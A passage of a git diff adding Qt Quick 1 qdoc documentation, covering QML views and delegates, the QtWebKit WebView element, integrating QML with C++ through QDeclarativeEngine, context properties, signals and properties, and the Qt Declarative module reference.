+\o \l{GridView} arranges items in a grid within the available space
+\o \l{PathView} arranges items on a path
+\o \l{WebView}{WebView} - available from the \l {QtWebKit QML Module}.
+\endlist
+Unlike other views, \l WebView is not a fully-featured view item, and needs
+to be combined with a \l Flickable item to create a view that performs like
+a Web browser.
+
+These elements have properties and behaviors exclusive to each element. Visit
+their respective documentation for more information.
+
+\section1 Models
+
+Views display \l{qml-data-models}{models} onto the screen. A model could be a simple list of \l{QML Data Models#An Integer}{integer} or a \l{qml-c++-models}{C++ model}.
+
+To assign a model to a view, bind the view's \c model property to a model.
+\snippet doc/src/snippets/declarative/listview.qml model
+\snippet doc/src/snippets/declarative/listview.qml model
+
+For more information, consult the \l {QML Data Models} article.
+
+\keyword qml-view-delegate
+\section1 View Delegates
+
+Views need a \e delegate to visually represent an item in a list. A view will
+visualize each item list according to the template defined by the delegate.
+Items in a model are accessible through the \c index property as well as the
+item's properties.
+\snippet doc/src/snippets/declarative/listview.qml delegate
+\image listview-setup.png
+
+\section1 Decorating Views
+
+Views allow visual customization through \e decoration properties such as the \c header, \c footer, and \c section properties. By binding an object, usually
+another visual object, to these properties, the views are decoratable. A footer
+may include a \l Rectangle element showcasing borders or a header that displays
+a logo on top of the list.
+
+Suppose that a specific club wants to decorate its members list with its brand
+colors. A member list is in a \c model and the \c delegate will display the
+model's content.
+\snippet doc/src/snippets/declarative/listview-decorations.qml model
+\snippet doc/src/snippets/declarative/listview-decorations.qml delegate
+
+The club may decorate the members list by binding visual objects to the
+\c header and \c footer properties. The visual object may be defined inline, in another file, or in a
+\l {Component} element.
+\snippet doc/src/snippets/declarative/listview-decorations.qml decorations
+\image listview-decorations.png
+
+\section1 Mouse/touch Handling
+
+The views handle dragging and flicking of their content, however they do
+not handle touch interaction with the individual delegates. In order for the
+delegates to react to touch input, e.g. to set the \c currentIndex, a MouseArea
+with the appropriate touch handling logic must be provided by the delegate.
+
+Note that if \c highlightRangeMode is set to \c StrictlyEnforceRange the
+currentIndex will be affected by dragging/flicking the view, since the view
+will always ensure that the \c currentIndex is within the highlight range
+specified.
+
+
+\section1 ListView Sections
+
+\l {ListView} contents may be grouped into \e sections, where related list items
+are labeled according to their sections. Further, the sections may be decorated
+with \l{qml-view-delegate}{delegates}.
+
+A list may contain a list indicating people's names and the team on which team
+the person belongs.
+\snippet doc/src/snippets/declarative/listview-sections.qml model
+\snippet doc/src/snippets/declarative/listview-sections.qml delegate
+
+The ListView element has the \c section
+\l{Property Binding#Attached Properties}{attached property} that can combine
+adjacent and related elements into a section. The section's \c property
+property is for selecting which list element property to use as sections.
+The \c criteria can dictate how the section names are displayed and the
+\c delegate is similar to the views' \l {qml-view-delegate}{delegate} property.
+\snippet doc/src/snippets/declarative/listview-sections.qml section
+\image listview-section.png
+*/
diff --git a/doc/src/qtquick1/qmlwebkit.qdoc b/doc/src/qtquick1/qmlwebkit.qdoc
new file mode 100644
index 0000000000..94d7f335d4
--- /dev/null
+++ b/doc/src/qtquick1/qmlwebkit.qdoc
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlwebkit.html
+
+\title QtWebKit QML Module
+
+Qt WebKit QML
+
+\section1 WebKit QML Elements
+\list
+\o \l WebView
+\endlist
+
+\section1 QtWebKit Module
+The QtWebKit Module has a QML element, \l{WebView} for displaying web content
+from a \c URL.
+
+Import the QtWebKit module before declaring a \c WebView element:
+\snippet doc/src/snippets/declarative/webview/webview.qml import
+
+\section1 Simple Usage
+\snippet doc/src/snippets/declarative/webview/webview.qml document
+\image webview.png
+
+\sa {Models and Views: WebView Example}{WebView Example}, {QML Web Browser}
+*/
diff --git a/doc/src/qtquick1/qtbinding.qdoc b/doc/src/qtquick1/qtbinding.qdoc
new file mode 100644
index 0000000000..5c125b25d3
--- /dev/null
+++ b/doc/src/qtquick1/qtbinding.qdoc
@@ -0,0 +1,669 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtbinding.html
+\ingroup qml-features
+\previouspage {Extending QML Functionalities using C++}
+\nextpage {Integrating QML Code with Existing Qt UI Code}
+\contentspage QML Features
+\title Using QML Bindings in C++ Applications
+
+QML is designed to be easily extensible to and from C++. The classes in the
+Qt Declarative module allow QML components to be loaded and manipulated from C++, and through
+Qt's \l{The Meta-Object System}{meta-object system}, QML and C++ objects can easily
+communicate through Qt signals and slots. In addition, QML plugins can be written to create
+reusable QML components for distribution.
+
+You may want to mix QML and C++ for a number of reasons. For example:
+
+\list
+\o To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or
+calling functions in a third-party C++ library)
+\o To access functionality in the Qt Declarative module (for example, to dynamically generate
+images using QDeclarativeImageProvider)
+\o To write your own QML elements (whether for your applications, or for distribution to others)
+\endlist
+
+To use the Qt Declarative module, you must include and link to the module appropriately, as shown on
+the \l {QtDeclarative}{module index page}. The \l {Qt Declarative UI Runtime} documentation
+shows how to build a basic C++ application that uses this module.
+
+
+\section1 Core module classes
+
+The Qt Declarative module provides a set of C++ APIs for extending your QML applications from C++ and
+embedding QML into C++ applications. There are several core classes in the Qt Declarative module
+that provide the essential capabilities for doing this. These are:
+
+\list
+\o QDeclarativeEngine: A QML engine provides the environment for executing QML code. Every
+application requires at least one engine instance.
+\o QDeclarativeComponent: A component encapsulates a \l{QML Documents}{QML document}.
+\o QDeclarativeContext: A context allows an application to expose data to the QML components
+created by an engine.
+\endlist
+
+A QDeclarativeEngine allows the configuration of global settings that apply to all of its QML
+component instances: for example, the QNetworkAccessManager to be used for network communications,
+and the file path to be used for persistent storage.
+
+QDeclarativeComponent is used to load QML documents. Each QDeclarativeComponent instance represents
+a single document. A component can be created from the URL or file path of a QML document, or the raw
+QML code of the document. Component instances are instatiated through the
+QDeclarativeComponent::create() method, like this:
+
+\code
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml"));
+QObject *rectangleInstance = component.create();
+
+// ...
+delete rectangleInstance;
+\endcode
+
+QML documents can also be loaded using QDeclarativeView. This class provides a convenient
+QWidget-based view for embedding QML components into QGraphicsView-based applications. (For other
+methods of integrating QML into QWidget-based applications, see \l {Integrating QML Code with existing Qt
+UI code}.)
+
+
+\section1 Approaches to using QML with C++
+
+There are a number of ways to extend your QML application through C++. For example, you could:
+
+\list
+\o Load a QML component and manipulate it (or its children) from C++
+\o Embed a C++ object and its properties directly into a QML component (for example, to make a
+particular C++ object callable from QML, or to replace a dummy list model with a real data set)
+\o Define new QML elements (through QObject-based C++ classes) and create them directly from your
+QML code
+\endlist
+
+These methods are shown below. Naturally these approaches are not exclusive; you can mix any of
+these methods throughout your application as appropriate.
+
+
+\section2 Loading QML Components from C++
+
+A QML document can be loaded with QDeclarativeComponent or QDeclarativeView. QDeclarativeComponent
+loads a QML component as a C++ object; QDeclarativeView also does this,
+but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading
+a displayable QML component into a QWidget-based application.
+
+For example, suppose there is a \c MyItem.qml file that looks like this:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end
+
+This QML document can be loaded with QDeclarativeComponent or QDeclarativeView with the following
+C++ code. Using a QDeclarativeComponent requires calling QDeclarativeComponent::create() to create
+a new instance of the component, while a QDeclarativeView automatically creates an instance of the
+component, which is accessible via QDeclarativeView::rootObject():
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-a
+\dots 0
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-b
+\o
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeView
+\endtable
+
+This \c object is the instance of the \c MyItem.qml component that has been created. You can now
+modify the item's properties using QObject::setProperty() or QDeclarativeProperty:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp properties
+
+Alternatively, you can cast the object to its actual type and call functions with compile-time
+safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the
+QDeclarativeItem class:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp cast
+
+You can also connect to any signals or call functions defined in the component using
+QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++}
+below for further details.
+
+\section3 Locating child objects
+
+QML components are essentially object trees with children that have siblings and their own children.
+Child objects of QML components can be located using the QObject::objectName property with
+QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml child
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end
+
+The child could be located like this:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp findChild
+
+If \c objectName is used inside a delegate of a ListView, \l Repeater or some other
+element that creates multiple instances of its delegates, there will be multiple children with
+the same \c objectName. In this case, QObject::findChildren() can be used to find all children
+with a matching \c objectName.
+
+\warning While it is possible to use C++ to access and manipulate QML objects deep into the
+object tree, we recommend that you do not take this approach outside of application
+testing and prototyping. One strength of QML and C++ integration is the ability to implement the
+QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the
+C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult
+to, for example, swap a QML view component for another view, if the new component was missing a
+required \c objectName. It is better for the C++ implementation to know as little as possible about
+the QML user interface implementation and the composition of the QML object tree.
+
+
+\section2 Embedding C++ Objects into QML Components
+
+When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into
+the QML object. QDeclarativeContext enables this by exposing data to the context of a QML
+component, allowing data to be injected from C++ into QML.
+
+For example, here is a QML item that refers to a \c currentDateTime value that does not exist in
+the current scope:
+
+\snippet doc/src/snippets/declarative/qtbinding/context/MyItem.qml 0
+
+This \c currentDateTime value can be set directly by the C++ application that loads the QML
+component, using QDeclarativeContext::setContextProperty():
+
+\snippet doc/src/snippets/declarative/qtbinding/context/main.cpp 0
+
+Context properties can hold either QVariant or QObject* values. This means custom C++ objects can
+also be injected using this approach, and these objects can be modified and read directly in QML.
+Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code
+invokes a method on the object instance:
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h 0
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp 0
+\o
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml 0
+\endtable
+
+(Note that date/time values returned from C++ to QML can be formatted through
+\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.)
+
+If the QML item needs to receive signals from the context property, it can connect to them using the
+\l Connections element. For example, if \c ApplicationData has a signal named \c
+dataChanged(), this signal can be connected to using an \c onDataChanged handler within
+a \l Connections object:
+
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml 0
+
+Context properties can be useful for using C++ based data models in a QML view. See the
+\l {declarative/modelviews/stringlistmodel}{String ListModel},
+\l {declarative/modelviews/objectlistmodel}{Object ListModel} and
+\l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for
+respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel
+in QML views.
+
+Also see the QDeclarativeContext documentation for more information.
+
+
+\section2 Defining New QML Elements
+
+While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be
+defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through
+C++ classes. When you create a QML object using one of these elements, you are simply creating an
+instance of a QObject-based C++ class and setting its properties.
+
+To create a visual item that fits in with the Qt Quick elements, base your class off \l QDeclarativeItem instead of QObject directly.
+You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QDeclarativeItem because
+it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping).
+
+For example, here is an \c ImageViewer class with an \c image URL property:
+
+\snippet doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h 0
+
+Aside from the fact that it inherits QDeclarativeItem, this is an ordinary class that could
+exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType():
+
+\snippet doc/src/snippets/declarative/qtbinding/newelements/main.cpp register
+
+Then, any QML code loaded by your C++ application or \l{QDeclarativeExtensionPlugin}{plugin} can create and manipulate
+\c ImageViewer objects:
+
+\snippet doc/src/snippets/declarative/qtbinding/newelements/standalone.qml 0
+
+
+It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QDeclarativeItem.
+This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective.
+To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarativeItem where possible. Properties QDeclarativeItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases.
+
+Note that custom C++ types do not have to inherit from QDeclarativeItem; this is only necessary if it is
+a displayable item. If the item is not displayable, it can simply inherit from QObject.
+
+For more information on defining new QML elements, see the \l {Tutorial: Writing QML extensions with C++}
+{Writing QML extensions with C++} tutorial and the
+\l {Extending QML Functionalities using C++} reference documentation.
+
+
+
+\section1 Exchanging Data between QML and C++
+
+QML and C++ objects can communicate with one another through signals, slots and property
+modifications. For a C++ object, any data that is exposed to Qt's \l{The Meta-Object System}{Meta-Object System}
+- that is, properties, signals, slots and Q_INVOKABLE methods - become available to QML. On
+the QML side, all QML object data is automatically made available to the meta-object system and can
+be accessed from C++.
+
+
+\section2 Calling Functions
+
+QML functions can be called from C++ and vice-versa.
+
+All QML functions are exposed to the meta-object system and can be called using
+QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml 0
+\o \snippet doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp 0
+\endtable
+
+Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as
+QVariant types, as this is the generic data type used for QML functions and return values.
+
+To call a C++ function from QML, the function must be either a Qt slot, or a function marked with
+the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes
+methods on the \c myObject object, which has been set using QDeclarativeContext::setContextProperty():
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml 0
+\o
+\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h 0
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp 0
+\endtable
+
+QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the
+same name but different arguments, the correct function will be called according to the number and
+the types of arguments that are provided.
+
+
+\section2 Receiving Signals
+
+All QML signals are automatically available to C++, and can be connected to using QObject::connect()
+like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using
+\l {Signal Handlers}{signal handlers}.
+
+Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's
+slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal
+is emitted:
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml 0
+\o
+\snippet doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h 0
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp 0
+\endtable
+
+To connect to Qt C++ signals from within QML, use a signal handler with the \c on<SignalName> syntax.
+If the C++ object is directly creatable from within QML (see \l {Defining new QML elements} above)
+then the signal handler can be defined within the object declaration. In the following example, the
+QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the
+C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML:
+
+\table
+\row
+\o
+
+\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h start
+\dots 4
+\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h end
+
+\o
+\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml 0
+\endtable
+
+(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be
+received with an \c on<Property>Changed handler even if the signal's name does not follow the \c
+<Property>Changed naming convention. In the above example, if the "imageChanged" signal was named
+"imageModified" instead, the \c onImageChanged signal handler would still be called.)
+
+If, however, the object with the signal is not created from within the QML code, and the QML item only has a
+reference to the created object - for example, if the object was set using
+QDeclarativeContext::setContextProperty() - then the \l Connections element can be used
+instead to create the signal handler:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp connections
+\o \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml 0
+\endtable
+
+C++ signals can use enum values as parameters provided that the enum is declared in the
+class that is emitting the signal, and that the enum is registered using Q_ENUMS.
+See \l {Using enumerations of a custom type} below for details.
+
+
+\section2 Modifying Properties
+
+Any properties declared in a QML object are automatically accessible from C++. Given a QML item
+like this:
+
+\snippet doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml 0
+
+The value of the \c someNumber property can be set and read using QDeclarativeProperty, or
+QObject::setProperty() and QObject::property():
+
+\snippet doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp 0
+
+You should always use QObject::setProperty(), QDeclarativeProperty or QMetaProperty::write() to
+change a QML property value, to ensure the QML engine is made aware of the property change. For example,
+say you have a custom element \c PushButton with a \c buttonText property that internally reflects
+the value of a \c m_buttonText member variable. Modifying the member variable directly like this is
+not a good idea:
+
+\badcode
+// BAD!
+QDeclarativeComponent component(engine, "MyButton.qml");
+PushButton *button = qobject_cast<PushButton*>(component.create());
+button->m_buttonText = "Click me";
+\endcode
+
+Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system}
+and the QML engine is not made aware of the property change. This means property bindings to
+\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called.
+
+
+\target properties-cpp
+
+Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY()
+macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into
+QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor
+property. This property can be written to and read from QML:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h 0
+\o \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml 0
+\endtable
+
+Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the
+\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal,
+the property cannot be used for \l {Property Binding} in QML, as the QML engine would not be
+notified when the value changes. If you are using custom types in QML, make sure their
+properties have NOTIFY signals so that they can be used in property bindings.
+
+See \l {Tutorial: Writing QML extensions with C++} for further details and examples
+on using Qt properties with QML.
+
+
+\section1 Supported data types
+
+Any C++ data that is used from QML - whether as custom properties, or parameters for signals or
+functions - must be of a type that is recognizable by QML.
+
+By default, QML recognizes the following data types:
+
+\list
+\o bool
+\o unsigned int, int
+\o float, double, qreal
+\o QString
+\o QUrl
+\o QColor
+\o QDate, QTime, QDateTime
+\o QPoint, QPointF
+\o QSize, QSizeF
+\o QRect, QRectF
+\o QVariant
+\o QVariantList, QVariantMap
+\o QObject*
+\o Enumerations declared with Q_ENUMS()
+\endlist
+
+To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML
+type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above.
+
+
+\section2 JavaScript Arrays and Objects
+
+There is built-in support for automatic type conversion between QVariantList and JavaScript
+arrays, and QVariantMap and JavaScript objects.
+
+For example, the function defined in QML below left expects two arguments, an array and an object, and prints
+their contents using the standard JavaScript syntax for array and object item access. The C++ code
+below right calls this function, passing a QVariantList and a QVariantMap, which are automatically
+converted to JavaScript array and object values, repectively:
+
+\table
+\header
+\o Type
+\o String format
+\o Example
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml 0
+\o \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp 0
+\endtable
+
+This produces output like:
+
+\code
+Array item: 10
+Array item: #00ff00
+Array item: bottles
+Object item: language = QML
+Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST)
+\endcode
+
+Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method
+parameter, the value can be created as a JavaScript array or object in the QML
+side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++.
+
+
+\section2 Using Enumerations of a Custom Type
+
+To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to
+register it with Qt's meta object system. For example, the following C++ type has a \c Status enum:
+
+\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h start
+\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h end
+
+Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can
+now be used from QML:
+
+\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 0
+
+The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it
+can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values
+must begin with a capital letter.
+
+See the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} tutorial and
+the \l {Extending QML Functionalities using C++} reference documentation for
+more information.
+
+
+\section2 Using Enumeration Values as Signal and Method Parameters
+
+C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration
+and the signal are declared within the same class, or that the enumeration value is one of those declared
+in the \l {Qt}{Qt Namespace}.
+
+Likewise, invokable C++ method parameters may be enumeration values providing
+that the enumeration and the method are declared within the same class, or that
+the enumeration value is one of those declared in the \l {Qt}{Qt Namespace}.
+
+Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the
+\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()}
+function, the enum type must be registered using qRegisterMetaType().
+
+For QML signals, enum values may be used as signal parameters using the \c int type:
+
+\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 1
+
+
+\section2 Automatic Type Conversion from Strings
+
+As a convenience, some basic types can be specified in QML using format strings to make it easier to
+pass simple values from QML to C++.
+
+\table
+\header
+\o Type
+\o String format
+\o Example
+\row
+\o QColor
+\o Color name, "#RRGGBB", "#RRGGBBAA"
+\o "red", "#ff0000", "#ff000000"
+\row
+\o QDate
+\o "YYYY-MM-DD"
+\o "2010-05-31"
+\row
+\o QPoint
+\o "x,y"
+\o "10,20"
+\row
+\o QRect
+\o "x,y,WidthxHeight"
+\o "50,50,100x100"
+\row
+\o QSize
+\o "WidthxHeight"
+\o "100x200"
+\row
+\o QTime
+\o "hh:mm:ss"
+\o "14:22:55"
+\row
+\o QUrl
+\o URL string
+\o "http://www.example.com"
+\row
+\o QVector3D
+\o "x,y,z"
+\o "0,1,0"
+\row
+\o Enumeration value
+\o Enum value name
+\o "AlignRight"
+\endtable
+
+(More details on these string formats and types can be found in the
+\l {QML Basic Types}{basic type documentation}.)
+
+These string formats can be used to set QML \c property values and pass arguments to C++
+functions. This is demonstrated by various examples on this page; in the above
+\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor
+property of a QColor type, which is set from the QML code with the string "red" rather rather
+than an actual QColor object.
+
+If it is preferred to pass an explicitly-typed value rather than a string, the global
+\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object
+types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four
+RGBA values. The QColor returned from this function could be used instead of a string to set
+a QColor-type property or to call a C++ function that requires a QColor parameter.
+
+
+\section1 Writing QML plugins
+
+The Qt Declarative module includes the QDeclarativeExtensionPlugin class, which is an abstract
+class for writing QML plugins. This allows QML extension types to be dynamically loaded into
+QML applications.
+
+See the QDeclarativeExtensionPlugin documentation and \l {How to Create Qt Plugins} for more
+details.
+
+
+\section1 Managing resource files with the Qt resource system
+
+The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as
+binary files in an application executable. This can be useful when building a mixed
+QML/C++ application as it enables QML files (as well as other resources such as images
+and sound files) to be referred to through the resource system URI scheme rather than
+relative or absolute paths to filesystem resources. Note, however, that if you use the resource
+system, the application executable must be re-compiled whenever a QML source file is changed
+in order to update the resources in the package.
+
+To use the resource system in a mixed QML/C++ application:
+
+\list
+\o Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource
+ files in XML format
+\o From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the
+ \c qrc scheme
+\endlist
+
+Once this is done, all files specified by relative paths in QML will be loaded from
+the resource system instead. Use of the resource system is completely transparent to
+the QML layer; this means all QML code should refer to resource files using relative
+paths and should \e not use the \c qrc scheme. This scheme should only be used from
+C++ code for referring to resource files.
+
+Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}.
+The directory structure looks like this:
+
+\code
+project
+ |- example.qrc
+ |- main.qml
+ |- images
+ |- background.png
+ |- main.cpp
+ |- project.pro
+\endcode
+
+The \c main.qml and \c background.png files will be packaged as resource files. This is
+done in the \c example.qrc resource collection file:
+
+\quotefile doc/src/snippets/declarative/qtbinding/resources/example.qrc
+
+Since \c background.png is a resource file, \c main.qml can refer to it using the relative
+path specified in \c example.qrc:
+
+\snippet doc/src/snippets/declarative/qtbinding/resources/main.qml 0
+
+To allow QML to locate resource files correctly, the \c main.cpp loads the main QML
+file, \c main.qml, as a resource file using the \c qrc scheme:
+
+\snippet doc/src/snippets/declarative/qtbinding/resources/main.cpp 0
+
+Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should
+be used to build the application resources:
+
+\quotefile doc/src/snippets/declarative/qtbinding/resources/resources.pro
+
+See \l {The Qt Resource System} for more information.
+
+*/
+
+
diff --git a/doc/src/qtquick1/qtdeclarative.qdoc b/doc/src/qtquick1/qtdeclarative.qdoc
new file mode 100644
index 0000000000..75420d5172
--- /dev/null
+++ b/doc/src/qtquick1/qtdeclarative.qdoc
@@ -0,0 +1,213 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \module QtDeclarative
+ \title Qt Declarative Module
+ \ingroup modules
+
+ \brief The Qt Declarative module provides a declarative framework
+ for building highly dynamic, custom user interfaces.
+
+ To include the definitions of the module's classes, use the
+ following directive:
+
+ \code
+ #include <QtDeclarative>
+ \endcode
+
+ To link against the module, add this line to your \l qmake \c
+ .pro file:
+
+ \code
+ QT += declarative
+ \endcode
+
+ For more information on the Qt Declarative module, see the
+ \l{Qt Quick} documentation.
+*/
+
+
+/*!
+ \macro QML_DECLARE_TYPE()
+ \relates QDeclarativeEngine
+
+ Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
+
+ #include <QtDeclarative> to use this macro.
+*/
+
+/*!
+ \macro QML_DECLARE_TYPEINFO(Type,Flags)
+ \relates QDeclarativeEngine
+
+ Declares additional properties of the given \a Type as described by the
+ specified \a Flags.
+
+ Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which
+ declares that the \a Type supports \l {Attached Properties}.
+
+ #include <QtDeclarative> to use this macro.
+*/
+
+
+/*!
+ \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+ \relates QDeclarativeEngine
+
+ This template function registers the C++ type in the QML system with
+ the name \a qmlName, in the library imported from \a uri having the
+ version number composed from \a versionMajor and \a versionMinor.
+
+ Returns the QML type id.
+
+ There are two forms of this template function:
+
+ \code
+ template<typename T>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+
+ template<typename T, int metaObjectRevision>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+ \endcode
+
+ The former is the standard form which registers the type \e T as a new type.
+ The latter allows a particular revision of a class to be registered in
+ a specified version (see \l {QML Type Versioning}).
+
+
+ For example, this registers a C++ class \c MySliderItem as a QML type
+ named \c Slider for version 1.0 of a \l{QML Modules}{module} called
+ "com.mycompany.qmlcomponents":
+
+ \code
+ #include <QtDeclarative>
+
+ ...
+
